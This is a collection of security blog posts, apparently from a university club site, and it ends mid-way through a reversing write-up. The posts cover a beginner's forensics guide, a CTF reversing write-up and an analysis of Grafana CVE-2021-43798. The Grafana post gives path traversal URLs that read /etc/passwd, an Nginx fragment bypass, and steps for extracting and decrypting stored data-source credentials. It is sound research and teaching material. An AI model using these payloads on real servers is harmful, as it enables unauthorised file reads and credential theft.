to a beginner\u0026rsquo;s guide to Digital Forensics. This writeup explains how forensics is applied in the real world, and common techniques/challenges used in CTFs.\nIf you are already well versed with digital forensics and would like to learn about digital forensics in CTFs, you may skip to here.\nThe term \u0026ldquo;forensics\u0026rdquo; originally means \u0026ldquo;of or before the forum\u0026rdquo;. The modern meaning of \u0026ldquo;forensics\u0026rdquo; is a form of legal evidence to be presented.\nDigital Forensics There are multiple aspects of digital forensics. They include but are not limited to:\nFile System Forensics Memory Forensics Network Forensics Database Forensics Application Forensics E-mail Forensics In this writeup, we will be focusing on file system forensics, memory forensics, and network forensics.\nFile System Forensics Files or folders can be hidden by:\nhaving their names start with . (in Linux) marking them as hidden (in Windows) deleting them Deleted files can potentially be recovered through data carving using specific tools. Data carving is the process of reassembling computer files from fragments in the absence of filesystem metadata.\nWhen a file is deleted, the entry in the file system metadata is removed. However, the actual data still remains on the disk. The data is only lost after is is overwritten by new data. This is why in digital forensics, it is important to not write new data into the medium that you are carrying out forensics on.\nLet me explain this in simpler terms.\nImagine you have a folder containing many sheets of papers. The first page of the folder is a contents page. In real life, when you want to remove a piece of paper from the file permanently, you will simply do so. However, that is not the case for computers. In computers, what happens is that the entry in the contents page gets erased, while the piece of paper inside the file remains untouched. When you need to write new information into the folder, the pages with the unwanted content gets overwritten with new information, while what remains of the old, unwanted information gets ignored.\nMemory Forensics Hard disks contain a myriad of data. They not only contain data of your files and folders, but also store much more information that most people aren\u0026rsquo;t aware about. These essential groups of data contain metadata and other bits of information that makes a hard drive behave correctly. Chunks of space in hard drives are reserved for metadata.\nHowever, not all of the space in those chunks are actually utilized. This allows for data to be written and hidden in these empty spaces, and will not affect the typical functionality of the hard drive in any way. Examples of parts of the hard drive where data can be hidden in are:\nHost Protected Area \u0026amp; Device Configuration Overlay Unused space in the Master Boot Record Volume Slack Partition Slack Boot sector in Non-bootable partition Unallocated space in a partition Good blocks marked \u0026ldquo;bad\u0026rdquo; Disk Slack Unused space in superblock Unused space in block groups Directory entries Data hidden in these areas of a hard disk can be found through the process of data carving.\nNetwork Forensics Network traffic is extremely volatile. This is why network forensics should be a proactive investigation.\nHow to capture network traffic? To capture network traffic, run a network monitoring tool such as Wireshark.\nWhere to capture network traffic? Network traffic should be captured at an endpoint, such as a proxy server, or at a forensic PC connected to the mirror port of an internet router.\nAt these locations, investigators can collect unicast traffic sent from the host in question.\nComputer networks have layers In computer networking, there are several layers. Namely, the application, transport, network, and data-link layers. Each layer employs different protocols to ensure that data moves from one place to another correctly. This also means that there are different types of evidence we can collect from each layer.\nApplication Layer DNS, SMTP, HTTPS and HTTP protocols are used in this layer. DNS translates a domain name into the correct IP address. SMTP is used to send and receive mail. HTTPS is the secure version of HTTP, and is used to fetch HTML files to load web pages. HTTP is not secure because the data is sent in plain text. This means that if a malicious actor gained unlawful access into a network (or if they are in the vicinity of the victim), and if a user enters their login details to gain access to their own account on a certain website, the malicious actor will be able to acquire them by sniffing the packets on the network sent by the unsuspecting user. HTTPS fixes that problem by encrypting data being received and sent by a host, and is still in use to this day since its introduction in 1994.\nTransport Layer The transport layer optionally ensures the reliability of communications. TCP and UDP are used here.\nTCP is used in connections where reliability is of paramount importance. For example, in sending texts, streaming videos, or sending files. UDP is used in connections where speed takes precedence over reliability. For example, in voice/video calls, or when playing online games. Network Layer The network layer is in charge of routing packets across networks.\nThe IP protocol delivers packets from the source host to destination host based on the IP addresses present in packet headers.\nData-link layer The data-link layer is responsible for handling communications on the physical network components.\nWith the right expertise and tools, it is possible to eavesdrop on wired communications that go through ethernet cables.\nNetwork Forensics as a whole At the beginning of network forensics, investigators begin with very limited information such as an IP address, port number, and a protocol.\nHowever, this is enough to search for more sources of data for more useful information. Most of the time, the more useful evidence is found in the application layer.\nDespite this, investigators might still need additional IP addresses to identify other hosts involved in the malicious activity. Certain activities such as DDoS attacks do not have relevant application-level data.\nTherefore, network forensics provides important support to the overall analysis of activities happening in the application layer.\nForensics in CTFs In CTFs, forensics is a very popular category. It is also important to note that while some challenges may be marked as \u0026ldquo;forensics\u0026rdquo;, they may also employ steganography and/or cryptography to make them even more challenging.\nSteganography involves hiding data, while cryptography makes it difficult to understand the data. More often than not, you might find yourself going deep into rabbit holes that lead to absolutely nowhere. It may be frustrating, but it\u0026rsquo;ll feel very rewarding once you get the flag.\nHere are some tips you can use to get started with common/easy forensics challenges.\nImage Forensics Hidden in plain sight Sometimes, information can be hidden in plain sight, just like in this example\nOn the left is an image downloaded from a challenge. On the right is the same image but filled with white, which reveals a hidden URL in a slightly different tone of red.\nMetadata Instead of data being hidden inside the image, they might be hidden in the metadata. By viewing the properties of the file or by using an online tool such as Jeffrey\u0026rsquo;s Image Metadata Viewer, we will be able to see these information.\nHidden strings Potential flag hidden in the image file, when viewed using HxD, a hex editing software\nWhen viewed in a text or hex editor, images may contain strings like these. These strings, when placed in certain parts of the file, will not affect the image in any way. This means that the image can still be opened and viewed normally using an image viewer.\nIn Linux systems, there is a command called strings. You can also run this command with the given file to see if there are any readable secrets.\nHidden Files Hidden files found and extracted from a file using binwalk\nSimilar to hiding a string, files can also be hidden in images. They are typically concatenated after the bytes of the image. They can be found and extracted using tools such as binwalk.\nLeast Significant Bit (LSB) As you know, files are made up of bytes. 1 byte is equal to 8 bits. If the least significant bit of a byte is changed, it will not change the overall value by too much.\nUsing this idea, we can potentially hide messages in binary in images by altering the LSB of all the pixel values. This will not make any significant change to the image, and will practically go unnoticed by humans.\nTo extract the hidden information, simply go through all the bytes, take the LSB, and append it to the string of extracted LSBs. Then, convert the final binary string into a readable message or even a file.\nTo learn more about LSB Steganography, this tutorial provides a more in-depth explanation of how it works.\nAudio Forensics Binary or Morse Code A peak in a soundwave may denote a 1, while a trough may denote a 0. This is a simple way to hide messages encoded in binary or Morse code in an audio file.\nScreenshot of a Forensics challenge, where the high represents 1, and the low represents 0.\nFor challenges like this, a visual aid might be useful. I recommend opening the file in Audacity first before conducting further analysis.\nSpectrogram Even though it is an audio file that you\u0026rsquo;re dealing with, the challenge author might want to hide visual information in the sound. Not in the form of waves, but through spectrograms.\nQR Code hidden in spectrogram\nOne way to view spectrograms in audio files is through this online tool called Spectrum Analyzer.\nNetwork Forensics Hidden in plain sight HTTP sends unencrypted packets from one endpoint to another, making it incredibly unsecure\nGiven a packet capture (pcap) file, you can find out what has been done, and what has been communicated over two hosts.\nFirstly, open the pcap file in Wireshark. For simpler challenges, the flags can be present in plain text— you\u0026rsquo;ll just need to know what to look for.\nUnsecured protocols such as HTTP should first be used as filters to get the low-lying fruit.\nFollow the TCP Stream On a given pcap file, there might be a need to extract messages or files that have been sent from one host to another. This can be done by following a TCP stream, then saving the contents of the stream.\nIf there are multiple types of files in the packet capture, you may want to check out this guide on how to export objects from different types of traffic in Wireshark.\nUnknown file Forensics Identify file signature What happens when you are given a file with an unknown extension, or even one that doesn\u0026rsquo;t exist?\nLuckily, files always have two attributes we can use to identify them. The first way is through the extension (png, jpg, mp4, wav, pdf, etc.). The second way is through file signatures.\nA file signature is a unique group of bytes located at the beginning of a file. File signatures are used to identify or verify the content of a file.\nHere is a list of file signatures you can use to figure out what type of file you are dealing with.\nAlternatively, you may also run file or binwalk on the unknown file to identify it automatically.\nBroken file signatures Uh oh, you realised that the extension of the given file is unknown, and the signature does not exist in the given list. Now what?\nAt this point, you may check if there are any similarities between the broken signature you were given, and legitimate signatures. Chances are, you might just need to fix a few bytes here and there before the file becomes readable.\nConversely, the file signature might be legitimate, but the file extension isn\u0026rsquo;t. In such cases, simply change the extension to the one that corresponds to the file signature, and you\u0026rsquo;ll be able to open the file.\nOS Forensics Event Logs A security log entry depicting a logon event in Event Viewer\nLogin time, number of failed password attempts, last logon attempt, and other security \u0026amp; system related logs can be found in the Event Viewer of Windows machines. They may provide useful information on what last went down in a computer system.\nBrowser Artifacts Browser history, passwords, cookies, temporary internet files, and bookmarks might prove to be useful in an investigation. Be sure to check these if you are given a snapshot of an operating system and need to look for clues.\nUser Directories Operating systems may contain different profiles. If what you are looking for is not present in the current user\u0026rsquo;s directory, chances are that you might be looking in the wrong place.\nTry going to other users\u0026rsquo; home directories to see if there are any files of interest.\nHidden Directories/Files A directory in windows with the \u0026ldquo;Hidden\u0026rdquo; attribute\nStill can\u0026rsquo;t find what you are looking for? That might be a sign that some data cannot be seen through normal means.\nIn Windows\u0026rsquo; File Explorer, check that View -\u0026gt; Hidden Items is enabled. This allows you to see hidden files and folders.\nIn Linux machines, files and folders may be renamed to begin with ., which will be ignored by the ls command. To show these hidden items, use ls -a instead.\nConclusion There are many more aspects of digital forensics that were not covered in this writeup, as it was meant to be a brief introduction for beginners. I personally recommend trying the challenges over at ctflearn.com for beginner-level ones. I hope you\u0026rsquo;ve enjoyed reading and have hopefully learnt something new! :)\nReferences File system forensics:\nhttps://en.wikipedia.org/wiki/File_carving Memory Forensics:\nhttp://www.berghel.net/publications/data_hiding/data_hiding Network Forensics:\nhttps://en.wikipedia.org/wiki/Network_forensics http://testphp.vulnweb.com/login.php Audio Forensics:\nhttps://ctf-wiki.mahaloz.re/misc/audio/introduction/ Forensics Tools/Guides/References for CTFs Image Forensics:\nhttps://ctflearn.com/challenge/934 https://ctflearn.com/challenge/108 http://exif.regex.info/exif.cgi https://stylesuxx.github.io/steganography/ https://www.file-recovery.com/jpg-signature-format.htm https://ctf101.org/forensics/what-is-stegonagraphy/ Unknown File Forensics:\nhttps://www.easytechjunkie.com/what-is-a-file-signature.htm https://www.kali.org/tools/binwalk/ ","permalink":"https://nusgreyhats.org/posts/writeups/introduction-to-digital-forensics/","summary":"An introduction to Digital Forensics Welcome to a beginner\u0026rsquo;s guide to Digital Forensics. This writeup explains how forensics is applied in the real world, and common techniques/challenges used in CTFs.\nIf you are already well versed with digital forensics and would like to learn about digital forensics in CTFs, you may skip to here.\nThe term \u0026ldquo;forensics\u0026rdquo; originally means \u0026ldquo;of or before the forum\u0026rdquo;. The modern meaning of \u0026ldquo;forensics\u0026rdquo; is a form of legal evidence to be presented.","title":"Introduction to Digital Forensics"},{"content":"Overview The HTX Investigators’ Challenge (HTXIC) 2021 was a CTF competition with about ~128 teams participating, it was held online on 20 Dec 2021. This post will document a writeup on the challenge Reversing 101 as I thought it is quite a fun to reverse a tic tac toe game and find flag.\nPS: The CTF came in a mixed reality/game world concept where instead of the usual web portal where we submit our flags, it is done in a Unity game mirroring the HTX Office in real life. We get to see our teammates in game too in various avatars and have to uncover/hunt for \u0026lsquo;quests\u0026rsquo; in game to unlock the CTF challenges. Other than the lack of features in-game like the ability to chat, this CTF was quite a novel one replacing the face to face physical competitions in this COVID-19 pandemic.\nUnderstanding the binary Since the challenge title already hints that this is a reversing challenge, we can first analyse the binary to know what we are dealing with.\nUploading the file onto VirusTotal is a easy way to figure it, so upon upload we get the following:\nAccess the full VirusTotal Report here\nIndicating that this binary is a PE32 executable for MS Windows (GUI) Intel 80386 32-bit Mono/.Net assembly.\nWe can verify this using local tools as well, for example on Detect It Easy, identifying it to be a .NET(v4.0.30319) binary. This would mean that we can test this binary out on a Windows VM. Interestingly, Confuser(1.X) was also identified, this will be useful later.\nTesting the binary Before going into reversing the program, let\u0026rsquo;s first understand what it does.\nLaunching the program, we expectedly get a GUI program showing a Tic Tac Toe game. The symbols and font of the game looks suspicious, and in the background a familiar soundtrack from the popular Squid Game Netflix drama is playing, perhaps a sign that this game is rigged and we have no way to legitimately win 😥😥.\nAfter some testing of the game by manually playing the tic tac toe against the \u0026lsquo;AI\u0026rsquo;, and manipulating the game with some basic Cheat Engine, seems like even with a high score 1 million games won is not something that would reveal the challenge flag.\nBesides testing the game score, the game is pretty basic. Just click anywhere on the 3x3 game tile to play the game, after you win or lose, click next round. Alternatively, the score resets when you click on the \u0026lsquo;Reset\u0026rsquo; button. The game functions like how one would expect a typical tic tac toe game to, except you will never get a flag/prize even if you played beyond integer limit.\nLooks like the flag won\u0026rsquo;t come easily, and does require some 101 reversing efforts. So let\u0026rsquo;s get started.\nReversing the binary Since Detect It Easy has identified that this is a .NET application, we can make use of our handy dnSpy to deal with it. This tool is a useful debugger and .NET assembly editor and it does come with the feature to decompile .NET. This is great news, as we do not have to use tools like Ghidra or IDA Pro which would be more tedious to reverse and analyse.\nUpon opening it on dnSpy, we can see that the code is successfully reversed. Unfortunately, we see some form of obfuscation, where things like the method names are not in plaintext.\nThis is due to the use of Confuser by the authors, which we have identified earlier. This technique is also commonly used by malware authors if they want to hinder analysis efforts. For this challenge, more specifically, it is ConfuserEx v1.0.0 which was used to obfuscate the binary. To solve this, we could use de4dot to clean up the binary.\nJust clone the GitHub and compile it, or grab a release on the internet. Then just run the command:\nPS C:\\Users\\Alice\\Desktop \u0026gt; de4dot-x64.exe .\\TicTacToe.exe de4dot v3.1.41592.3405 Copyright (C) 2011-2015 de4dot@gmail.com Latest version and source code: https://github.com/0xd4d/de4dot Detected Unknown Obfuscator (C:\\Users\\Alice\\Desktop\\TicTacToe.exe) Cleaning C:\\Users\\Alice\\Desktop\\TicTacToe.exe Renaming all obfuscated symbols Saving C:\\Users\\Alice\\Desktop\\TicTacToe-cleaned.exe Finally, the code is cleaned and readable. The code is quite long, with about 1000++ lines in total. So I will just summarize what are the main points to solving this challenge.\nFirstly, at the entry point, it runs Form1 which is the main Tic Tac Toe game interface we saw earlier.\nprivate static void Main() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new Form1()); } Tracing the click events, we see that for each tile of the tic tac toe clicked by the user, the code is as follows:\nprivate void button1_Click(object sender, EventArgs e) { if (!this.bool_0) { if (this.list_0.Contains(\u0026#39;1\u0026#39;)) { this.button1.ForeColor = Color.Lime; this.button1.Text = \u0026#34;O\u0026#34;; this.list_0.Remove(\u0026#39;1\u0026#39;); this.method_8(); } } else { this.method_10(\u0026#39;1\u0026#39;); this.method_11(); } } In method_8, it does a series of if else conditions to check if the player has won the game, lost it, or if it ended in a draw, and displays the message box accordingly.\nThis can be confirmed by base64 decoding:\necho WW91IHdpbiEgUHJlc3MgTmV4dCBSb3VuZCB0byBjb250aW51ZS4= | base64 --decode You win! Press Next Round to continue. echo WW91IExvc2UhIFByZXNzIE5leHQgUm91bmQgdG8gY29udGludWUu | base64 --decode You Lose! Press Next Round to continue. echo RHJhdyEgUHJlc3MgTmV4dCBSb3VuZCB0byBjb250aW51ZS4= | base64 --decode Draw! Press Next Round to continue. However, there is an additional if statement after the checks for win/lose/draw condition, checking if 2 integers are 3 and 2 respectively.\nif (this.int_0 == 3 \u0026amp;\u0026amp; this.int_1 == 2) { this.method_9(); } Turns out that this is referring to the player score. So let\u0026rsquo;s go back to the binary and give it a play.\nTo speed things up a little, as the AI was too dumb to win me, I edited the memory to give it the desired scores of 3 and 2 for myself and the AI. This could be played manually too, though time consuming.\nUpon clicking any tiles with the score, the condition is met and a message box pops up telling us \u0026ldquo;You have accessed the hidden locker, can you unlock it?\u0026rdquo;. How fun, we have unlocked a secret stage to this game.\nClearly, this is also hinting to us that we are closer to the flag now.\nHidden Locker (Secret Stage?!) in the binary Now, the GUI of the .NET binary has changed. This is no longer a tic tac toe game but we have a PIN pad.\nThe code does something along the lines of:\nChecking the length of the PIN to be 9 Calling method 12, which checks our PIN private void buttonX_Click(object sender, EventArgs e) { if (!this.bool_0) { if (this.list_0.Contains(\u0026#39;1\u0026#39;)) { this.button1.ForeColor = Color.Lime; this.button1.Text = \u0026#34;O\u0026#34;; this.list_0.Remove(\u0026#39;1\u0026#39;); this.method_8(); } } else { this.method_10(\u0026#39;1\u0026#39;); this.method_11(); } } public void method_11() { if (this.string_0.Length == 9) { this.method_12(); } } From here, we see that it uses the PIN along with strings in the method Y0uSh0uldPr3ssth, 3butt0ns and TtH/04xZb79By/VnbPZlBgO/D96vRmqPk0QT50gbdi8= for AesCrypto. Now this is the crypto part of the reversing challenge.\nBut firstly, we have to ensure we pass the lengthy if condition for our PIN to even trigger the decryption routine. As it would be used for decryption, there is no point patching this binary to skip the statement as it would not give us the flag even if we manipulated the if condition.\nif (num % num9 == 0 \u0026amp;\u0026amp; num9 * 3 == num2 \u0026amp;\u0026amp; num2 * 3 == num4 \u0026amp;\u0026amp; num5 % num2 == 2 \u0026amp;\u0026amp; num6 * 4 == num5 \u0026amp;\u0026amp; num2 % num4 == num3 \u0026amp;\u0026amp; num2 - num6 == num \u0026amp;\u0026amp; num7 % num3 == num \u0026amp;\u0026amp; num7 / 2 == num6 \u0026amp;\u0026amp; num8 % num2 == num9 \u0026amp;\u0026amp; num8 % num7 == num2) Since this is something very painful (and perhaps impossible to do within the CTF 12 hours) to be done manually, I have decided to use some python scripting help along with z3 black magic.\nTo install, we can simply use pip.\npip install z3-solver Z3 is basically a theorem prover from Microsoft Research, this would help us to solve the equations given the amount of constraints imposed by the game. Please pardon me for my amateur z3 code, I am still learning it.\nfrom z3 import * s = Solver() pin_code = IntVector(\u0026#34;x\u0026#34;, 9) # Add constraints to z3 s.add(pin_code[0] % pin_code[8] == 0) s.add(pin_code[8] * 3 == pin_code[1]) s.add(pin_code[1] * 3 == pin_code[3]) s.add(pin_code[4] % pin_code[1] == 2) s.add(pin_code[5] * 4 == pin_code[4]) s.add(pin_code[1] % pin_code[3] == pin_code[2]) s.add(pin_code[1] - pin_code[5] == pin_code[0]) s.add(pin_code[6] % pin_code[2] == pin_code[0]) s.add(pin_code[6] / 2 == pin_code[5]) s.add(pin_code[7] % pin_code[1] == pin_code[8]) s.add(pin_code[7] % pin_code[6] == pin_code[1]) # Solve res = s.check() if res == sat: print(s.model()) else: print(\u0026#34;Response: %s\u0026#34; % res) Running the z3 solver would provide us the PIN, after doing some rearrangement:\nx__3 = 9 x__4 = 8 x__1 = 3 x__8 = 1 x__5 = 2 x__6 = 4 x__0 = 1 x__7 = 7 x__2 = 3 PIN = 133982471 Finally, with the PIN cracked, we can just enter it in the game using the GUI and a message box will appear giving us the flag!\nYou have obtained the flag! HTX{R3v3rsingCSh4rplsE4sy}\nGgwp.\nReferences https://ericpony.github.io/z3py-tutorial/guide-examples.htm\nhttps://github.com/ViRb3/z3-python-ctf\nhttps://rolandsako.wordpress.com/2016/02/17/playing-with-z3-hacking-the-serial-check/\nhttps://wiki.bi0s.in/reversing/analysis/dynamic/linux/z3/\nhttps://labs.f-secure.com/assets/BlogFiles/mwri-hacklu-2018-samdb-z3-final.pdf\nhttps://github.com/dnSpy/dnSpy\nhttps://github.com/de4dot/de4dot\nhttps://www.youtube.com/watch?v=TpdDq56KH1I\n","permalink":"https://nusgreyhats.org/posts/writeups/htxic-reversing-101/","summary":"Overview The HTX Investigators’ Challenge (HTXIC) 2021 was a CTF competition with about ~128 teams participating, it was held online on 20 Dec 2021. This post will document a writeup on the challenge Reversing 101 as I thought it is quite a fun to reverse a tic tac toe game and find flag.\nPS: The CTF came in a mixed reality/game world concept where instead of the usual web portal where we submit our flags, it is done in a Unity game mirroring the HTX Office in real life.","title":"HTXIC CTF Reversing 101 Writeup"},{"content":"Overview This post will cover some details behind the recent Grafana vulnerability (CVE-2021-43798), which is a directory traversal bug allowing unauthenticated attackers to read files on the target server filesystem. This post will also discuss some real world scenario and attack surface of the Grafana.\nBrief Analysis on the Root Cause The detailed analysis can be found at the author\u0026rsquo;s blog here, I will only briefly cover it.\nAll API routes were defined in pkg/api/api.go , some require authentication like below:\nr.Get(\u0026#34;/plugins\u0026#34;, reqSignedIn, hs.Index) r.Get(\u0026#34;/plugins/:id/\u0026#34;, reqSignedIn, hs.Index) r.Get(\u0026#34;/plugins/:id/edit\u0026#34;, reqSignedIn, hs.Index) // deprecated r.Get(\u0026#34;/plugins/:id/page/:page\u0026#34;, reqSignedIn, hs.Index) While some does not require signed in, like below:\n// expose plugin file system assets r.Get(\u0026#34;/public/plugins/:pluginId/*\u0026#34;, hs.getPluginAssets) For the route at /public/plugins/:pluginId/*, it is handled by hs.getPluginAssets, which is defined in pkg/api/plugins.go:\n// getPluginAssets returns public plugin assets (images, JS, etc.) // // /public/plugins/:pluginId/* func (hs *HTTPServer) getPluginAssets(c *models.ReqContext) { pluginID := web.Params(c.Req)[\u0026#34;:pluginId\u0026#34;] plugin, exists := hs.pluginStore.Plugin(c.Req.Context(), pluginID) if !exists { c.JsonApiErr(404, \u0026#34;Plugin not found\u0026#34;, nil) return } requestedFile := filepath.Clean(web.Params(c.Req)[\u0026#34;*\u0026#34;]) pluginFilePath := filepath.Join(plugin.PluginDir, requestedFile) if !plugin.IncludedInSignature(requestedFile) { hs.log.Warn(\u0026#34;Access to requested plugin file will be forbidden in upcoming Grafana versions as the file \u0026#34;+ \u0026#34;is not included in the plugin signature\u0026#34;, \u0026#34;file\u0026#34;, requestedFile) } // It\u0026#39;s safe to ignore gosec warning G304 since we already clean the requested file path and subsequently // use this with a prefix of the plugin\u0026#39;s directory, which is set during plugin loading // nolint:gosec f, err := os.Open(pluginFilePath) the rest are Omitted Line 5 is retrieving /public/plugins/(.*) as the pluginId, then pass to line 12 filepath.Clean to do sanitization, and concatenate in line 13, finally passed to os.Open in line 23 to read the contents.\nThe most interesting part is the comment at line 20:\n// It\u0026rsquo;s safe to ignore gosec warning G304 since we already clean the requested file path and subsequently\nIf we check the document on the usage of filepath.Clean:\nPoint 4 is worthy to take note.\nreplace \u0026ldquo;/..\u0026rdquo; by \u0026ldquo;/\u0026rdquo; at the beginning of a path\nWhat if the path does not start with /..? we can try it out:\nIt seems that filepath.Clean is not working as what the developers expect it to do, which leads to directory traversal and subsequently arbitrary file read.\nIt can be replicated in the docker environment as shown below (take note that the plugin should exist, otherwise you will get Plugin not found error. Luckily, Grafana has come with some default plugins. In the screenshot below, I am using Grafana\u0026rsquo;s welcome plugin):\nNginx Reverse Proxy Bypass On the day this vulnerability is getting hot amongst the security researchers (around 7th Dec, 2021), the vulnerability author posted a tweet as below:\nBut one day later, he retweeted:\nSo does Nginx help? we can set up the environment and try:\nWe are getting a 400 bad request.\nThe reason is simple: Nginx will do path normalization before it forwards the request to the backend. If the normalized URI is requesting beyond the web root directory, it will simply returns 400 bad request.\nIn the request above, /public/plugins/welcome/../../../../../../../../../../etc/passwd will be normalized into /../../../../../../../etc/passwd, hence, a 400 bad request is returned.\nBut does that mean Nginx will protect Grafana against this kind of path traversal attack? May not be. It depends on how you configure the proxy_pass entry. Before I cover that, here is an example:\nWe can see that our path traversal still succeed and read the content of the sdk.ts, which is located two directories above the welcome plugin directory.\nSo here is first point, which is covered in the Nginx document\nIf proxy_pass is specified without a URI, the request URI is passed to the server in the same form as sent by a client when the original request is processed\nScroll back and examine my Nginx configuration, noticed that my proxy_pass entry is defined as http://localhost:3000, without a URI, hence, the original request will be forwarded to the Grafana backend. And in the first place, since my original URI is /public/plugins/welcome/../../sdk.ts, even after normalization by Nginx, it is /public/sdk.ts, which is a valid URI, hence, Nginx will not complain about it either.\nThis allows us to read arbitrary files up to three directory above the plugin directories. But the default plugin directories is deep at /usr/share/grafana/public/app/plugins/{plugin_id}, even being able to traverse up by 3 directories, there aren\u0026rsquo;t many files to read.\nSo here is the second point, which is covered in this post\nURL consists of scheme:[//authority]path[?query][#fragment], and browsers don’t send #fragment. But how must a reverse proxy handle #fragment?\nNginx throws fragment off\nSo what would happen if my URI is /public/plugins/welcome/#/../../../../../../../../../etc/passwd?\nNginx will process until /public/plugins/welcome/, and forward the entire URI to the Grafana backend, and leads to path traversal all the way up to the root directory:\nAttack Surface under Grafana In this section, we try to examine the possible attack surface under Grafana when we are able to read files on the file system.\nGrafana Database We can try to read the database file, which is located at /var/lib/grafana/grafana.db by default, which is a sqlite database:\nSo, what is inside the Grafana database?\nuser table: The password is hard to decrypt, using a slow hash algorithm with salt as defined in pkg/util/encoding.go:\n// EncodePassword encodes a password using PBKDF2. func EncodePassword(password string, salt string) (string, error) { newPasswd := pbkdf2.Key([]byte(password), []byte(salt), 10000, 50, sha256.New) return hex.EncodeToString(newPasswd), nil } user_auth_token: It seems that user_auth_token is also stored as one-way hash, as defined in /pkg/services/auth/auth_token.go:\nfunc hashToken(token string) string { hashBytes := sha256.Sum256([]byte(token + setting.SecretKey)) return hex.EncodeToString(hashBytes[:]) } I can\u0026rsquo;t think of a way to exploit this, if possible, please tell me =)\ndata_source: The data_source tells Grafana where to pull the data from.\nFinally there is something that we can exploit. In /pkg/cmd/grafana-cli/commands/datamigrations/encrypt_datasource_passwords_test.go:\nfunc DecryptSecureJsonData(ds *models.DataSource) (map[string]string, error) { decrypted := make(map[string]string) for key, data := range ds.SecureJsonData { decryptedData, err := util.Decrypt(data, setting.SecretKey) if err != nil { return nil, err } decrypted[key] = string(decryptedData) } return decrypted, nil } util.Decrypt is defined in /pkg/util/encryption.go, you can re-use it to decrypt the encrypted password in the data source, or you can use the script here:\nThe secretkey is defined in the Grafana\u0026rsquo;s configuration file, which is located at /etc/grafana/grafana.ini, and it might contains other sensitive information as well. We will cover those next\nGrafana Configuration File Located at /etc/grafana/grafana.ini by default, which might contain several sensitive information. You can take a look at the default configuration file here and see what can be stored inside. I won\u0026rsquo;t go through them one by one.\ngrafana-image-renderer Apart from the various credentials that could be leaked from the Grafana\u0026rsquo;s configuration file, another worth-mentioning entry is the grafana-image-renderer\n[rendering] # Options to configure a remote HTTP image rendering service, e.g. using https://github.com/grafana/grafana-image-renderer. # URL to a remote HTTP image renderer service, e.g. http://localhost:8081/render, will enable Grafana to render panels and dashboards to PNG-images using HTTP requests to an external service. server_url = # If the remote HTTP image renderer service runs on a different server than the Grafana server you may have to configure this to a URL where Grafana is reachable, e.g. http://grafana.domain/. callback_url = # Concurrent render request limit affects when the /render HTTP endpoint is used. Rendering many images at the same time can overload the server, # which this setting can help protect against by only allowing a certain amount of concurrent requests. concurrent_render_request_limit = 30 grafana-image-renderer is a remote HTTP image rendering service, which you can ask the renderer to visit the Grafana panel, render into image and send to us.\nThe official guideline is to set up the grafana-image-renderer service inside a separate docker, and link it to the Grafana docker using Docker Compose like below:\nversion: \u0026#39;2\u0026#39; services: grafana: image: grafana/grafana:latest ports: - \u0026#39;3000:3000\u0026#39; environment: GF_RENDERING_SERVER_URL: http://renderer:8081/render GF_RENDERING_CALLBACK_URL: http://grafana:3000/ GF_LOG_FILTERS: rendering:debug renderer: image: grafana/grafana-image-renderer:latest ports: - 8081 Under this configuration, the renderer service is inaccessible from the Internet.\nHowever, there is another option to run it as a standalone Node.js application.\nIt seems that the service is also listening on the localhost, but actually it is accessible via public network interface:\nExposing a renderer that attackers can specify any host for it to visit is not that dangerous unless you are running an outdated renderer:\nAnd without sandbox:\nSo RCE is achievable:\nReference https://grafana.com/blog/2021/12/08/an-update-on-0day-cve-2021-43798-grafana-directory-traversal/\nhttps://j0vsec.com/post/cve-2021-43798/\nhttps://mp.weixin.qq.com/s/dqJ3F_fStlj78S0qhQ3Ggw\nhttps://pkg.go.dev/path/filepath\nhttps://www.acunetix.com/blog/articles/a-fresh-look-on-reverse-proxy-related-attacks/\nhttps://articles.zsxq.com/id_jb6bwow4zf5p.html\nhttps://articles.zsxq.com/id_baeb9hmiroq5.html\nhttps://github.com/jas502n/Grafana-CVE-2021-43798\nhttps://securitylab.github.com/research/in_the_wild_chrome_cve_2021_30632/\n","permalink":"https://nusgreyhats.org/posts/writeups/a-not-so-deep-dive-in-to-grafana-cve-2021-43798/","summary":"Overview This post will cover some details behind the recent Grafana vulnerability (CVE-2021-43798), which is a directory traversal bug allowing unauthenticated attackers to read files on the target server filesystem. This post will also discuss some real world scenario and attack surface of the Grafana.\nBrief Analysis on the Root Cause The detailed analysis can be found at the author\u0026rsquo;s blog here, I will only briefly cover it.\nAll API routes were defined in pkg/api/api.","title":"A (not so deep) Dive into Grafana CVE-2021-43798"},{"content":"Overview This is a straightforward and classic reverse engineering challenge. It is a windows console application that will validate user input and checks the flag entered. I will go into a bit more details since this is a write up for beginners rather than experienced reverse engineers.\nUnderstanding the target The first step to reverse engineering is figuring out how the target binary is constructed. I don\u0026rsquo;t want to waste our time reversing a packer or .NET bytecodes in IDA. So, I used Detect It Easy to check the binary.\nIt\u0026rsquo;s written in C++ which may have some mangled functions and complicated classes. But it is not that bad to reverse engineer in a classic decompiler like IDA or Ghidra.\nDecompile Loading the binary in IDA, I can see most of the logic is actually written in the main method. That saved me a lot of time as there is not much structures or classes to worry about which tends to be the most time consuming part of reverse engineering a C++ program.\nAs the main method is fairly long, I will just copy paste the IDA decompilation output here.\nint __cdecl main(int argc, const char **argv, const char **envp) { // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-\u0026#34;+\u0026#34; TO EXPAND] v3 = (char *)operator new(0x33ui64); v4 = sub_1400026E0(std::cout, (__int64)\u0026#34;Are you ready for [REDACTED]?\u0026#34;); std::ostream::operator\u0026lt;\u0026lt;(v4, sub_1400028B0); std::istream::getline(std::cin, Str1, 40i64); if ( !strcmp(Str1, \u0026#34;nimic_interesant\u0026#34;) ) { strcpy_s(v3 + 34, 0x11ui64, Str1); // v3[34]+ nimic_interesant memset(var_buf, 0, sizeof(var_buf)); sub_140002240((__int64)var_buf); // populate the var_buf if ( (*((_BYTE *)\u0026amp;var_buf[2] + *(int *)(var_buf[0] + 4)) \u0026amp; 6) != 0 ) sub_1400026E0(std::cout, (__int64)\u0026#34;50 burpees\u0026#34;); *(_OWORD *)Str1 = 0i64; v13 = 0i64; v14 = 0i64; std::istream::read(var_buf, Str1, 34i64); *(_OWORD *)v3 = *(_OWORD *)Str1; *((_OWORD *)v3 + 1) = v13; *((_WORD *)v3 + 16) = v14; v6 = v3[34]; *v3 ^= v6; v3[1] ^= v3[35]; v3[2] ^= v3[36]; v3[3] ^= v3[37]; v3[4] ^= v3[38]; v3[5] ^= v3[39]; v3[6] ^= v3[40]; v3[7] ^= v3[41]; v3[8] ^= v3[42]; v3[9] ^= 